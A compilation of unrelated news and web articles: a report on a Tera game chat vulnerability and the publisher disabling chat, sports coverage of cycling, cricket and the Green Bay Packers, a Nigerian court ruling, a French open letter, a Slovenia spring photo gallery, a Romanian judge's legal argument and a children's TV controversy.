Yesterday, a member of the subreddit for the long-running action-MMO Tera posted about a potentially ruinous vulnerability in the game’s chat system. The poster, Gosukek, along with other players on Discord, claimed that Tera’s chat interface uses HTML, meaning that if unscrupulous types got creative, they could theoretically do everything from forcing everyone to look at nauseating imagery to collecting everybody’s IP address to remotely executing malware and viruses on people’s computers. This issue has seemingly been present for years.
In response, Tera publisher En Masse quickly announced that the game’s chat services would be taken offline. It added, however, that it seems as though nobody’s taken advantage of the vulnerability so far.
“There are very serious claims floating around of what this vulnerability potentially allows malicious users to do,” En Masse wrote in a forum post. “We are taking these claims very seriously but, as of this time, we have no evidence that the vulnerability is being exploited in these ways or that any player information has been compromised.”
As of now, all chat except guild chat has been disabled while the game’s developers work on a fix. There is currently no ETA for when it’ll be re-enabled. Given that MMOs are kinda all about communicating with other players, probably go ahead and wait before jumping into this one—if, you know, you were suddenly planning to after five years.
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Fabio Felline misses Ardennes Classics
Apr 13 2018 01:59 am CET
Trek-Segafredo
Trek-Segafredo's Fabio Felline has had to withdraw from the Ardennes Classics roster because he is still suffering from toxoplasmosis.The rider was diagnosed with the parasite last July during the Tour de France and recent tests have unveiled that he is still suffering from it. "Fabio has not felt right this season, and under his persistence, we decided to do a new series of blood exams," explained the team's Head physician Gaetano Daniele."They showed evidence that Fabio still has not completely recovered from the toxoplasmosis he suffered from last year. We took the advice of a couple infectiologists, experts in this field, and will start a specific treatment that will last for six weeks and that will hopefully permit to eradicate this parasite once and for all."Fellini has had a season with fluctuating form and after missing the cobbled classics, he is now out of the Ardennes as well. "I am so frustrated and sad not to be able to take the start in the Ardennes Classics," the rider commented. "Since I had to leave the Tour last year, I never found my level back that I had in the first part of the 2017 season. In the end, it seems that I have been struggling with this same, very stubborn parasite."I will be out of competition until the end of May. Unfortunately, it’s not the first time in my career that I have to fight back after setback, but I am motivated and will work hard to be back on my level as soon as possible and to come back even stronger than before."
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Dismissal of appeal by opposition leader Atiku Abubakar brings to an end months-long legal battle after February polls.
Nigeria‘s top court has dismissed an appeal by main opposition candidate Atiku Abubakar to overturn the result of February’s presidential vote in which President Muhammadu Buhari won re-election.
“We have examined all the briefs and the exhibits for over two weeks and we agree that there is no merit in this appeal,” Chief Justice Tanko Muhammad said on Wednesday following the Supreme Court’s judgement.
“The appeal is dismissed,” he concluded in a decision made unanimously with six court justices.
The chief justice did not give reasons for the judgement but announced they would be released at a later date.
February election
The judgement brought an end to a bitter eight-month legal battle since February’s polls when Buhari, 76, won a second term with 56 percent of the vote.
The delayed vote was marked by low turnout and saw violence across the country, with accusations of vote-rigging by both sides.
Abubakar, the 72-year-old former vice president of the main opposition People’s Democratic Party (PDP), came in second with 41 percent, and immediately branded the result a “sham”.
Opposition parties lodged a legal challenge against the result, which was rejected by an election tribunal in September.
The PDP described the ruling as “provocative, barefaced subversion of justice”, launching an appeal in Nigeria’s Supreme Court.
Abubakar said he had been cheated of the chance to lead Africa’s most populous nation after a conspiracy between the electoral commission and Buhari’s ruling All Progressives Congress (APC).
European Union and local observers spoke of “serious problems” in the polls, which was hit by violence including 53 deaths.
Some reported vote-buying, intimidation and violence towards voters and officials, which have been a problem in previous elections in Nigeria.
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And you thought that can of QT was expensive.
An enterprising PC Music fan (who probably attended the label’s controversial Pop Cube installation) got QT, Hannah Diamond, Danny L Harle, Finn Diesel and label mastermind A. G. Cook to sign his white tee, and — like any millennial worth his salt — he’s monetized the experience, putting the shirt on Craigslist — for $100,000. [via Noisey]
FACT’s Walker Chambliss reviewed PC Music’s Pop Cube and found it “stupid, ridiculous, and annoying” — and that was exactly the point.
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cricket
Updated: Jan 20, 2019 08:59 IST
India recorded a stunning comeback series win after beating Australia in the third and final ODI of the series at the Melbourne Cricket Ground (MCG) on Friday. Courtesy of this seven-wicket win, India clinched their first-ever bilateral ODI series victory Down Under.
It was an all-round performance from the visitors which saw players standing up and being counted whenever the team needed to be bailed out of trouble. Who were the architects of this win, let’s find out in Hindustan Times’ Report Card.
Also Read: ‘He has gone from a Lamborghini to an Aston Martin’ – Clarke lauds Dhoni
Shikhar Dhawan – Rating: 3/10, Verdict: Poor
Opener Shikhar Dhawan had a rather underwhelming show in the three-match series Down Under. He was dismissed for a duck in the opening match and while he got starts in the second and third matches respectively, he couldn’t go on to convert it into a big one. Dhawan’s highest score was 32 and he was clearly the weak link for India at the top in the series.
Rohit Sharma – Rating: 7/10, Verdict: Good
Opener Rohit Sharma had couple of good outings and one single digit score in the series. The right-hander slammed a blazing ton (133) in the opener but couldn’t take India over the line. This was the fourth instance when Rohit had scored a century in Australia but India ended up being on the losing side. Rohit then continued his good scoring run and hit a well-made 43 in the second ODI to give India a good start in the chase.
Virat Kohli – Rating: 7/10, Verdict: Good
Skipper Virat Kohli was once again among the runs and played a pivotal role in helping India clinch the series. After failing with the bat in the opener, Kohli hit a scintillating ton in the second to power India to a six-wicket win. Kohli then got a start in the third match as well but his problems against Jhye Richardson continued and was removed by him for the third time in a row. In the field, Kohli marshalled his troops well and led from the front in this historic series win.
Ambati Rayudu – Rating: 2/10, Verdict: Poor
Middle-order batsman Ambati Rayudu enjoys the backing of the team management at the crucial number four spot but didn’t do justice to it in the recently-concluded series. Rayudu was out for a duck in the first match and then could muster just 24 in the second, where he was dismissed after playing a rash shot at a crucial juncture in the chase. He was subsequently left out of the third ODI.
MS Dhoni – Rating: 9/10, Verdict: Very Good
Wicket-keeper-batsman Mahendra Singh Dhoni was India’s stand-out performer and was deservedly named the man of the series for his exploits. Dhoni slammed three half centuries in as many matches and played an important part in the series victory. The Indian stalwart bailed India out of trouble in all three matches after the fall of early wickets and while he couldn’t take the team over the line in the opener, he did so with great confidence in the last two matches. Behind the stumps, Dhoni had mixed outing as one hand he was lightening quick with the stumpings, he dropped couple of half-chances in the last ODI.
Dinesh Karthik – Rating: 5/10, Verdict: Average
Middle-order batsman Dinesh Karthik had a very topsy-turvy series. In Sydney, he could must just 12 runs in India’s defeat but came back strongly and stitched a match-winning stand with Dhoni in Adelaide. Karthik didn’t get a chance to bat in the final ODI but his presence in the middle-order certainly acts as a calming presence.
Kedar Jadhav – Rating: 8/10, Verdict: Very Good
Middle-order batsman Kedar Jadhav played one of most important knocks of his life at the iconic MCG. Jadhav scored an unbeaten 61 and put on a match-winning stand with Dhoni to take India past the finishing line. This was Jadhav’s first match for the ‘Men in Blue’ after Thiruvanthapuram ODI against Windies in November last year, but the way he played, it didn’t seem like he was out of the team at all.
Ravindra Jadeja – Rating: 5/10, Verdict: Average
All-rounder Ravindra Jadeja was a last-minute inclusion in the side and he didn’t disappoint, with the ball at least. Jadeja was economical in the first two matches as he gave away 48 and 49 runs respectively and did a good job of keeping the batsmen under check in the middle-overs. Jadeja also scalped one wicket each in the Sydney and Adelaide respectively but went wicketless in Melbourne. The southpaw got a chance to bat in only the first match and he could contribute just 8 runs in India’s defeat.
Also Read: India vs Australia: How Glenn Maxwell dropped the ODI series
Kuldeep Yadav – Rating: 5/10, Verdict: Average
Chinaman Kuldeep Yadav didn’t have the best of series according to his own supremely high standards. Kuldeep scalped two wickets in the opening ODIs but went wicket-less in the next. His economy rate too was uncharacteristically very high as he conceded 54 runs in Sydney and 66 in Adelaide. Kuldeep didn’t find a place in the playing XI in the final match of the series.
Yuzvendra Chahal – Rating: 9/10, Verdict: Very Good
Leg-spinner Yuzvendra Chahal once again illustrated his importance in white-ball cricket as he scalped a six-wicket haul to play a starring role in the victory in Melbourne. Chahal broke multiple records en route his career best figures of 6/42. Chahal sat out in the first two ODI but left a last impression when he took to the field in the last match of the series.
Bhuvneshwar Kumar – Rating: 9/10, Verdict: Very Good
Pace spearhead Bhuvneshwar Kumar once again illustrated his importance to the side in white-ball cricket. Bhuvneshwar finished the series as the highest wicket-taker with eight wickets —2/69 (Sydney), 4/45 (Adelaide) and 2/28 (Melbourne). Bhuvneshwar scored an unbeaten 29 in a losing cause in the first ODI to show yet again that he can be trusted with the blade as well. Even in the field, Bhuvneshwar was at his supreme best as he took a stunning catch to dismiss Glenn Maxwell at the MCG.
Mohammed Shami - Rating: 8/10, Verdict: Very Good
Fast-bowler Mohammed Shami too had a good series and shared the new ball with Bhuvneshwar with great aplomb. Shami was the fourth-highest wicket-taker in the series with five to his name. Barring the first ODI where he went wicketless, he was at the top of his name in the next two matches. Shami’s economy rate was just under six and that bodes well for the team in the long run.
Mohammed Siraj - Rating: 1/10, Verdict: Very Poor
Young fast-bowler Mohammed Siraj had a nightmare of an ODI debut in the second ODI against Australia in Adelaide. He conceded the second most number of runs by an Indian bowler in his first-ever outing in the 50-over format. Siraj returned with figures of 0/76 from his 10 overs and also set the record for the worst economy rate by an Indian bowler on ODI debut.
Also Read: No one is more committed to Indian cricket than MS Dhoni - Virat Kohli
Khaleel Ahmed - Rating: 1/10, Verdict: Very Poor
Like Siraj, Khaleel Ahmed too featured in just one match in the series and it didn’t go as per plan for him. Khaleel was taken for plenty in Sydney and couldn’t pick even a single wicket. The young fast-bowlers is just seven-matches old in ODI cricket and this was easily one of his worse performances for the ‘Blue Brigade’.
Vijay Shankar - Rating: 4/10, Verdict: Average
All-rounder Vijay Shankar made his ODI debut at the iconic MCG but he didn’t get a chance to show his talent on the biggest stage. Shankar was given six overs to bowl and he impressed early on in the innings and returned with figures of 0/23. Shankar didn’t get a chance to bat as the job was done by the top-order.
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Suite à un article de Têtu du 18 septembre annonçant l’ouverture d’une « maison des cultures LGBTQI+ » à Paris, Komitid publie la lettre ouverte que le CentreLGBTQI+ de Paris Ile-de-Franc adresse ce jour à la Maire de Paris, et signée de nombreuses associations membres du Centre. À l’attention de Madame Anne Hidalgo, Maire de Paris
Un article de Têtu daté du mercredi 18 septembre annonce l’ouverture en janvier 2020 d’une « maison des cultures LGBTQI » à Paris, dans le local du 4ème arrondissement, auparavant pressenti pour préfigurer le Centre des Archives LGBTQI. Il est précisé un « lieu de réunion, d’exposition et de stockage ».
Pourquoi cette « maison des cultures LGBTQI » ? Pour répondre à quels besoins ? Comment se fait-il que le Centre LGBTQI+ de Paris IdF soit informé de ce projet par voie de presse ?
Le Centre LGBTQI+ existe depuis 25 ans et représente un lieu essentiel dans la vie de la communauté LGBTQI+ de la région parisienne.
Le Centre regroupant près de 80 associations membres, il accueille et conseille tous les jours un public (22 000 personnes par an) aussi divers que fragilisé. Activistes ou simples usagères-usagers en recherche d’informations y ont trouvé un refuge, des structures, des outils, des espaces d’échange, des moyens de prévention et une écoute pour affronter un monde qui s’évertue encore à nous nier majoritairement.
Pourquoi cette « maison des cultures LGBTQI » ? Pour répondre à quels besoins ? Comment se fait-il que le Centre LGBTQI+ de Paris IdF soit informé de ce projet par voie de presse ?
Notre conception d’un Centre ouvert
Le Centre n’a-t-il donc pas l’expérience de ce qu’est une « maison », ne connaît-il pas bien les besoins de ces publics ? Le développement de nos activités propres et de celles de nos associations membres engendre des besoins croissants en termes d’espace. La Ville de Paris a constaté ces besoins et envisageait d’ailleurs en 2018 de permettre au Centre LGBTQI+ de Paris IdF d’emménager dans de nouveaux locaux qu’elle s’engageait à choisir plus spacieux et situés au centre de Paris (par exemple dans les locaux de la Mairie du 4ème arrondissement). Nous avions expliqué notre conception d’un Centre ouvert, intégré dans ce qui pourrait être un grand espace « mall culturel et social », permettant un partage entre associations (et pas seulement LGBTQI) d’équipements collectifs adaptés (salle de spectacle, espace d’exposition, bureaux, salles de réunions). Mais depuis janvier 2019, nous n’avons plus entendu parler de cette proposition.
Pour ce qui est d’investir dans un nouveau lieu, pourquoi ne pas diriger les fonds et les efforts de la Ville vers un Centre qui est déjà une maison collective depuis 25 ans, désormais à l’étroit, mais prêt à évoluer, à déménager et à rendre Paris enfin fière ?
Un local pas du tout adapté
Têtu annonce que dès janvier 2020 s’ouvrirait une maison des cultures LGBTQI dans un local qui était une salle d’exposition, et qui n’est donc pas du tout adapté à un usage plurifonctionnel (une seule entrée, locaux en vastes plateaux non cloisonnés, essentiellement en sous-sol).
Sont déjà engagés 400 000 Euros de travaux, est prévu un budget de fonctionnement de départ de 100 000 euros, plus un poste de salarié.e.
Le Centre jongle sans budget de fonctionnement (la subvention pérenne de la mairie paye le loyer du local), avec une seule salariée payée chichement grâce à des subventions sur projets. Comment comprendre l’engagement de ces fonds providentiels ?
Pour ce qui est de notre mémoire et de la conservation de nos archives la réponse a déjà été apportée : la grande majorité des associations a adhéré au Collectif Archives LGBTQI et reconnaît sa compétence et la qualité de son projet inspiré des expériences étrangères, notamment américaines mais aussi européennes. Pourtant, le Collectif des Archives a dû renoncer pour l’heure à monter le projet tant attendu, faute d’une réelle confiance et d’un soutien effectif de la Ville. Ceci est d’autant plus urgent que nous avons fêté les 50 ans de Mai 68, ceux de Stonewall, beaucoup de grandes figures de l’histoire de nos luttes sont encore là pour transmettre leur expérience aux jeunes générations. Chaque jour qui passe est une occasion perdue de valoriser ce trésor de connaissances.
Pour ce qui est d’investir dans un nouveau lieu, pourquoi ne pas diriger les fonds et les efforts de la Ville vers un Centre qui est déjà une maison collective depuis 25 ans, désormais à l’étroit, mais prêt à évoluer, à déménager et à rendre Paris enfin fière ?
Respectueusement,
Le Centre LGBTQI+ PARIS IDF
Associations signataires : Inter-LGBT, Collectif Archives LGBTQI, Académie Gay et Lesbienne, ASMF, Association Nationale Transgenre, Association MIF, Paris Gay Village, Equivox Chœur Gay et Lesbien de Paris, Couleurs Gaies, Bi’Cause, Association CDS Laissez-nous-danser, Les Gais Retraités, STRASS, Les ActupienNEs, Groupe Grimpe et Glisse, Afrique Arc-En-Ciel, Plongée Arc En Ciel, ACGLSF, SOS homophobie.
Le titre et les intertitres sont de la rédaction
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Spring is such a wondrous time of year in Slovenia! The days become longer and brighter, the weather is getting warmer and nature begins to come out of dormancy, and the flowers and trees begin to bloom. Every day, a little more life and colour come back into nature. By mid-spring, everything is in full bloom.
Spring is from April until June, and it’s the perfect time to explore Slovenia. The obvious benefit of visiting in spring is the fact that you’ll see Slovenia transform right before your eyes. The meadows and hillsides all across the country are full of wild flowers, from the very common daisies, ox-eye daisies, white hellebores, primroses and blue-eyed-marys to the rare summer snowflakes, lily of the valleys and tassel hyacinths, and to those who picturesquely carpet the entire hillsides and meadows like daffodils and crocuses. Approximately 70 wild flowers are endemic and cannot be found anywhere else in the world like Zois’ violets, Carniolan lilies, and short-haired sandworts. The countless cherry trees with their white blossoms convey a unique charm to the Slovenian countryside. there’s just so much beautiful plant life flourishing across the land and there’s nothing like the smell of blooming Lilacs in the spring. There’s just so much beautiful plant life flourishing across the land.
This is the time to see Slovenia’s rolling hills, country pastures and luscious forests at their absolute greenest. Sure, spring has a few bouts of rainy spells, but these are the reasons the glistening grasses are accentuated by the seasonal change.
There are plenty of hiking opportunities too. Many of the most popular walking tracks become much safer to access and as a bonus, you won’t need to share the path with too many tourists, because summer is the busiest time for Slovenia hiking.
Spring is Slovenia’s low tourist season. That means you’ll get to enjoy cheaper prices on accommodation, transport and activities — which is great news for those travelling on a tight budget!
You know what else is great about travelling in the spring? Many of Slovenia’s best attractions are going to be largely empty. That means you can enjoy your selected nature expeditions without bumping into large influxes of people, and you’ll have many more opportunities to take postcard-worthy photos of the country’s unspoiled landscapes.
Photo Gallery
With the warm weather and beautiful colours, spring is the perfect time of year to take pictures! So here’s a gorgeous picture gallery containing 50 breathtaking spring photos of Slovenia that prove you absolutely have to visit this very picturesque country in the springtime. Enjoy!
11 photos below by Bojan Kolman
Krma is a beautiful alpine valley in the Julian Alps in northwestern Slovenia. It is especially picturesque in the spring when nature comes to life with its most beautiful arrangements of color displays and all sorts of flowers blooming everywhere. (Image by Bojan Kolman)
Another photo of the beautiful Krma valley in the spring time. (Image by Bojan Kolman)
Very few nitrogen fixing cover crops are as spectacular as crimson clover. With their bright crimson red, conical blooms atop tall fleecy stems, one might think a field of crimson clover was planted purely for aesthetic appeal. However, this little plant is a tough workhorse in agriculture. In the last few years, crimson clover is also becoming an important source of nectar for honeybees and other pollinators in Slovenia. (Image by Bojan Kolman)
Yellow dandelion flowers in the meadows above the Logarska Valley in spring with the Kamnik-Savinja Alps in the background. (Image by Bojan Kolman)
The dandelions well-known yellow, composite flowers grow to be 2 to 5 centimetres wide. They grow individually on hollow flower stalks 5 to 40 centimetres tall. On the photo is a beautiful meadow full of yellow dandelion and the hilltop Church of St. Thomas in Sveti Tomaz. (Image by Bojan Kolman)
A beautiful meadow full of yellow dandelion in Jezersko, a pristine and very scenic mountain valley in the Kamnik–Savinja Alps on Slovenia’s northern border with Austria. (Image by Bojan Kolman)
Dandelions change from the little yellow flower to the white globular flower overnight. Well, the puffy white stage isn’t exactly a flower, it’s the seed head. Each seed has a small parachute, to spread itself far and wide in the wind. (Image by Bojan Kolman)
Garland flower, or rose daphne as it is also known, is a trailing evergreen plant native to the mountains of central and southern Europe. In late spring it bears beautiful clusters of fragrant rose-pink flowers. All parts of the plant are poisonous to humans. (Image by Bojan Kolman)
Arboretum Volcji Potok is the most visited botanical garden in Slovenia. Especially in spring during the tulip season visitors from all over Europe come to see it. (Image by Bojan Kolman)
Every spring, like it had been on a repeat button for eternity, people come from all parts of Slovenia and beyond to be fascinated by millions of daffodil flowers. (Image by Bojan Kolman)
There are few things more beautiful than a fruit tree in full bloom in the early spring. (Image by Bojan Kolman)
The spring in Goriska Brda is just so beautiful. It is when everything is coming to life. In addition to its grapes and wine, Goriska Brda is celebrated for its delicious cherries usually available in late May and early June. (Image by Luka Esenko)
Three photos below by Ales Krivec
A cherry tree in full bloom is stunning in its abundant beauty of hundreds of thousands of blossoms. (Image by Ales Krivec)
The beauty, freshness and awakening of nature in the Slovenian Alps in spring is something really special. (Image by Ales Krivec)
In the spring new, light green leaves begin to appear on branches and remain that way all summer. (Image by Ales Krivec)
Spring is such a magic time of year in Slovenia. The trees begin to bud, blossoms appear on trees, then the blossoms give way to the fresh green color of new leaves. It’s really amazing to watch the trees and see how quickly they change from day to day! (Image by Domen Dolenc)
All images below provided by I Feel Slovenia)
Probably most beautiful panoramic road in Slovenia, the Solcava Panoramic Road offers some of the most amazing views of the Logarska Dolina valley and surrounding area and is well worth visiting in all seasons, but particularly in spring when nature is full of colors. (Image by Iztok Medja)
Spring is such a wonderful time to visit Jezersko, a pristine mountain valley in northern Slovenia. (Image by Iztok Medja)
The nature in spring in the Triglav National Park is at its best with lovely wild flowers everywhere. (Image by Iztok Medja)
At an elevation of 1,665 meters, Velika Planina is a herdsmen’s village in the Kamnik Savinja Alps in northern Slovenia, one of the few remaining seasonal villages of its size and use. Every spring, the crocuses are carpeting its pastures with purple. It’s an amazing sight. (Image by Ana Pogacar)
Every spring the meadows all across Slovenia are covered in a beautiful yellow blanket of dandelion flowers. (Image by Ana Pogacar)
When spring arrives in Slovenia’s capital Ljubljana the days get longer and warmer and everything bursts into life. (Image by Bogdan Kladnik)
Spring is the perfect time to walk among blossoming fruit trees in the Slovenian countryside. (Image by Tomo Jesenicnik)
The most photographed and arguably the most beautiful tree in Slovenia stands in front of Lake Bohinj. It looks especially beautiful in spring with its large light green crown. (Image by Tomo Jesenicnik)
Spring comes late in the Slovenian Alps, but it’s incredibly beautiful. (Image by Tomo Jesenicnik)
Numerous wildflowers can be found in the Triglav National Park in spring, including some endemic ones like Triglav hawksbeard, Julian poppy, monkshood and Zois’ bellflower. (Image by Jost Gantar)
A spring hike in the Slovenian Alps is a great way to appreciate the newly-warm weather and enjoy the best of what nature has to offer. (Image by Jost Gantar)
The old church of St. Oswald in Jezersko was built at the end of the 12th and early 13th century. It’s famous for the sculpture of Virgin Mary dating back to 1386, and for the 14th-century frescos. (Image by Jost Gantar)
Slovenia enjoys more aesthetically pleasing hives than much of the world. (photo: Jost Gantar)
Spring is a wonderful time to visit Lake Bled, the most Fairytale-esque place in Slovenia. (Image by Jost Gantar)
Waterfall Pericnik in the Vrata Valley in northwestern Slovenia is one of the most beautiful waterfalls in the country with the possibility to walk behind it. (Image by Jost Gantar)
In the far southeastern corner of Slovenia, on the border with Croatia, lies Bela Krajina, a small region known for its gentle landscape of birch trees and vineyards. With its delicious wine and food, warm people and beautiful nature, Bela Krajina is a great place to visit any time of year!
Bees are amongst the most important insects to humans on Earth. Pollinating flowers and contributing to the beautification of the planet’s floral landscapes is perhaps the simplest and least economically important actions but it’s definitely its most aesthetically pleasing one. These modest, buzzing creators deserve a big thanks for helping in providing us with vegetables and fruits, honey and wonderful bio-diversity. (Image by Jost Gantar)
The Soca Valley in northwestern Slovenia is home to one of the most beautiful rivers, not just in Slovenia, but in Europe and beyond. (Image by Alan Kosmac)
Every spring something extraordinary happens on the mountainsides above the town of Jesenice. Several of the normally lush green meadows on the slopes of Mount Golica turn almost completely snow-white. It’s not a late-spring snowstorm that is the cause of this remarkable transformation, but the white blossoms of wild-growing daffodils. (Image by Miro Podgorsek)
Known for endless fields of wild white daffodils, Mt. Golica is particularly popular destination to visit in late April and early May. (Image by Iztok Medja)
The meadows under Mount Golica covered in a beautiful white blanket of daffodils and Slovenia’s highest mountain, Mount Triglav, which rises to 2,864 meters above sea level. (Image by Iztok Novak)
The most extraordinary photo of nature’s awakening in the Triglav national park, as nature at higher altitudes is still sleeping while nature in the valley bottom has already turned green. (Image by Ales Zdesar)
The best place to see Slovenia’s stunning flora is high up in the mountains. (Image by Ales Zdesar)
Although all the Slovenian mountains have interesting wild flowers, for accessibility, number of species and spectacular scenery, the Julian Alps are the best choice. (Image by Ales Zdesar)
The Juliana Alpine Botanical Garden is a treasure trove of Slovenian flora. More than six hundred species of plants grow in the garden’s natural hillside environment among scattered Alpine rocks, many of them native to the Slovenian Alps. (Image by Boris Pretnar)
Beautiful nature, rich cultural heritage, vast possibilities for relaxation, culinary delights, living tradition, etc., it’s no wonder the Logarska valley is considered one of the most beautiful Alpine valleys of Europe. (Image by Darinka Mladenovic)
The Old Vine in front of the Old Vine House in the heart of Maribor is the oldest vine in the world. It is Maribor’s main tourist attraction, which lies in an area of the Drava riverbank called Lent. The house hosts numerous events related to wine and cuisine, offers an extraordinary selection of wines from the Stajerska region and is open all 365 days a year. (Image by Domen Groegl)
There aren’t many things that smell better than the fragrance of blossoms carried on a spring breeze. Towering out above the orchard is Bled Castle, Slovenia’s oldest castle and one of the most visited tourist attractions in the country. (Image by Franci Ferjan)
The dazzling yellow of a rapeseed field in full bloom in the Prekmurje region in northeastern Slovenia. (Image by Mankica Kranjec)
A beautiful meadow full of yellow dandelion in the Stajerska region in northeastern Slovenia. (Image by Marko Petrej)
The First Grammar School in Maribor dates back to 1850, when the first grade was set up. The school itself was built in 1873 by architect Wilhelm Buecher. (Image by Marko Petrej)
Dedno Polje is a mountain pasture in the Slovenian Alps at an elevation of 1,560 meters. Though most of the shepherds’ huts have been converted into weekend vacation dwellings, local farmers still produce cheese, sour milk and other dairy products here which are available for sale in late spring and summer. (Image by Mitja Sodja)
Each spring, the meadows all across the Triglav National Park are full of wild flowers – a delight! (Image by Mojca Oder)
Native to the European Alps, you can easily encounter the spring-flowering Trumpet Gentian on hikes up in the Slovenian Alps. (Image by Tanja Sodja)
Three photos below by Turizem Bohinj
Late May and June are a perfect time for wildflowers almost anywhere in the Slovenian Alps.
Spring is a great time to head out on long bike rides and soak up the sun before the weather turns too hot.
Eritrichium nanum, commonly known as the King of the Alps, is the most elusive of the alpine flowers, growing in rock crevices high in the mountains. With its low growth, strong roots and hairy surface the plant is well adapted to harsh winds and low temperatures.
We’d like to thank all photographers (Bojan Kolman, Tomo Jesenicnik, Jost Gantar, Luka Esenko, Ales Krivec, Alan Kosmac, Ales Zdesar, Domen Dolenc, Ana Pogacar, Bogdan Kladnik, Boris Pretnar, Darinka Mladenovic, Domen Grogl, Franci Ferjan, Iztok Novak, Mankica Kranjec, Marko Petrej, Miro Podgorsek, Mitja Sodja, Mojca Oder, Tanja Sodja) and other copyright holders who gave us permission to use their images.
Discover beautiful Slovenia through amazing photos SLOVENIA PHOTOS – currently 104 galleries with 5.607 photos from 57 photographers
Discover beautiful Slovenia through amazing photos that will instantly make you want to visit and explore this delightful country in the heart of Europe. View more than 100 galleries with more than 5.500 landscape and nature photos from 50+ photographers! ENJOY!
Places to stay in Slovenia that we recommend ACCOMMODATION IN SLOVENIA – places to stay in Slovenia that we think are the best and worth staying at
There is a wide array of options for accommodations in Slovenia, including hotels, guest houses, apartments, bed and breakfasts, hostels, camping and glamping sites and farm stays. Find out which places to stay in Slovenia we recommend and why!
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Where the fuck Do you get all this pee
104 shares
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Judecătorul Cristian Danileț explică, într-o postare pe pagina sa de Facebook, de ce Guvernul nu poate da OUG doar pe articolele constituționale dintr-o lege. Judecătorul aduce cinci argumente pentru care Guvernul Dăncilă nu ar putea da ordonanța de urgență doar pentru articolele constituționale din noile coduri penale și să le întoarcă în Parlament pe cele neconstituționale.
„De ce nu se poate da OUG pe ce este constituțional dintr-o lege:
-proiectul de lege privind modificarea codurilor penale a fost adoptat de ambele camere ale Parlamentului, deci procedura legislativă este finalizată;
- la controlul de constituționalitate s-au găsit niște nereguli care trebuie corectate tot de Parlament; așadar, procedura legislativă se reia, dar numai cu privire la aceste chestiuni care, din nou, vor putea fi verificate de CCR;
- când o lege este în fază finală la Parlament, Guvernul nu poate adopta un act normativ pe aceeași chestiune, o spune CCR prin decizia 1431/2010, pentru că ar încălca principiul separației puterilor în stat și cel al cooperării loiale între puteri;
- dacă Guvernul ar da o OUG, ea ar trebui supusă aprobării în Parlament, adică din nou să se discute chestiunile deja discutate în Parlament; după care se va putea ajunge din nou la CCR; or, e ilogic să apelezi la o asemenea procedură, nouă, când tu ești pe final cu prima procedură;
- OUG presupune „urgența”, generată de o „situație excepțională”. Or, zilele acestea nu s-a întâmplat nimic în România care să justifice o OUG: e aceeași stare juridică, socială și politică prezentă și în timpul aprobării proiectelor, și în timpul discutării în CCR, și ieri, și astăzi.
PS. Să nu uităm că redactarea acestor coduri a costat statul român milioane de euro, plătiți din împrumut de la Banca Mondială; că ele au fost redactate de o comisie de specialiști alcătuită din profesori și practicieni; că apoi au trecut prin Parlament unde au suferit multiple modificări necesare, cel puțin teroretic, pentru îmbunătățirea proiectelor. Și, în nici cinci ani de la intrarea lor în vigoare deja le modificăm în mod substanțial?! Evident, ceva nu e cușer!”, spune Cristi Danileț.
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Matt Ludtke/Associated Press
There is a wealth of evidence that the Green Bay Packers cannot make a Super Bowl run without steady support for quarterback Aaron Rodgers.
Rodgers is the highest-rated passer in NFL history, but for much of this decade he's been tasked with having to carry a team that has lacked offensive imagination, offensive weapons and offensive balance and had its fair share of defensive problems as well.
Sure enough, the Packers haven't reached a Super Bowl in any of their last seven seasons.
But on Sunday, Rodgers didn't have to be the hero. He didn't have to pull a seemingly ill-equipped supporting cast across the finish line like in Week 1 against the Chicago Bears or in Week 6 against the San Francisco 49ers.
That's because Aaron Jones has arrived.
Put another way, that's because the Packers have finally allowed Aaron Jones to arrive.
The second-year running back already led all qualified backs with a 6.0 yards-per-attempt average prior to Sunday's 31-12 victory over the Miami Dolphins, but Jones exploded for a career-high 145 yards on 15 carries to go along with three catches for 27 more yards in a two-touchdown performance.
It marked the first time Jones has carried the ball 15 times in a game since last October, despite the fact that among backs with at least 150 attempts since the 1970 AFL-NFL merger, the 2017 fifth-round pick out of UTEP ranks first by a wide margin with a 6.1 yards-per-attempt average.
In a must-win game for Green Bay, it was Jones who set the tone early. On the team's first offensive possession, it looked like he was going to lose yardage on a 2nd-and-10 play before a nifty cut led to a 12-yard gain. He picked up 15 more yards two plays later and then took a screen 19 yards into the red zone to set up a touchdown pass from Rodgers to Davante Adams.
Minutes later, when Green Bay got the ball back leading 7-3, Jones was the only means of offense for the Packers on a three-play, 71-yard drive that started with a 67-yard run that required tremendous burst behind the line of scrimmage and ended with a short, powerful touchdown rush.
When Miami made things interesting by closing to within two points in the third quarter, it was again Jones who made plays to help the Green Bay offense regain the momentum. He picked up a combined 22 yards on back-to-back carries midway through said quarter, the second of which resulted in a touchdown that gave the Packers a two-score lead.
It was never close again.
It was by no means the Aaron Jones Show all afternoon at Lambeau Field. A back that hot probably should be getting more work, but it's worth noting that Rodgers was still—and to an extent still probably had to be—his excellent self, completing 19 of 28 passes for 199 yards in yet another turnover-free outing (his seventh in nine games).
And a lot of credit belongs to an offensive line that was opening up holes the size of Suzuki hatchbacks. Plus, Adams scored two touchdowns, emerging rookie receiver Marquez Valdes-Scantling caught six of the seven passes thrown his way and the defense surrendered fewer than 300 yards while keeping Miami out of the end zone.
It's an indication that Rodgers just might have enough help for the Packers to contend—a sign that the pieces are there. Jones might be the most important piece aside from No. 12, and his 48 touches in the last three weeks (despite a costly fumble in Week 9) suggest that even Packers head coach Mike McCarthy—who has often been reluctant to ride with Jones—finally realizes that.
Dylan Buell/Getty Images
Rodgers might not have enough team-carrying acts in him this year. In spite of generally strong numbers—he's thrown 17 touchdown passes to one interception—the 34-year-old hasn't been as lights-out as usual and has at times struggled outside of those aforementioned heroic moments. While continuing to deal with a relatively significant knee injury, he entered Sunday as merely the league's 13th-highest-rated passer while possessing his lowest completion percentage (60.6) since he became a starter in 2008.
It's possible the Packers still aren't capable of beating elite opponents without near-perfect performances from Rodgers, and it's possible those performances won't come often enough. But if Jones can continue to make plays, there might at least be a minuscule margin for error at the quarterback position in Green Bay.
With that in mind, you might have to hold off on that eulogy for the 2018 Green Bay Packers.
Brad Gagnon has covered the NFL for Bleacher Report since 2012.
Follow @Brad_Gagnon
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A children's TV show has come under fire as it appears to feature a very rude drawing.
Mother Chey Robinson shared a clip from the first series of the Netflix show Maya the Bee, which saw Maya fly into a log to hide, after spotting something amiss on the bark.
Chey was horrified to discover that the log featured what looked like a drawing of a penis, which she says 'disgusted' her.
The clip has since been viewed over a million times on Facebook, with fellow parents sharing in Chey's shock at the inappropriate clip.
Scroll down for video
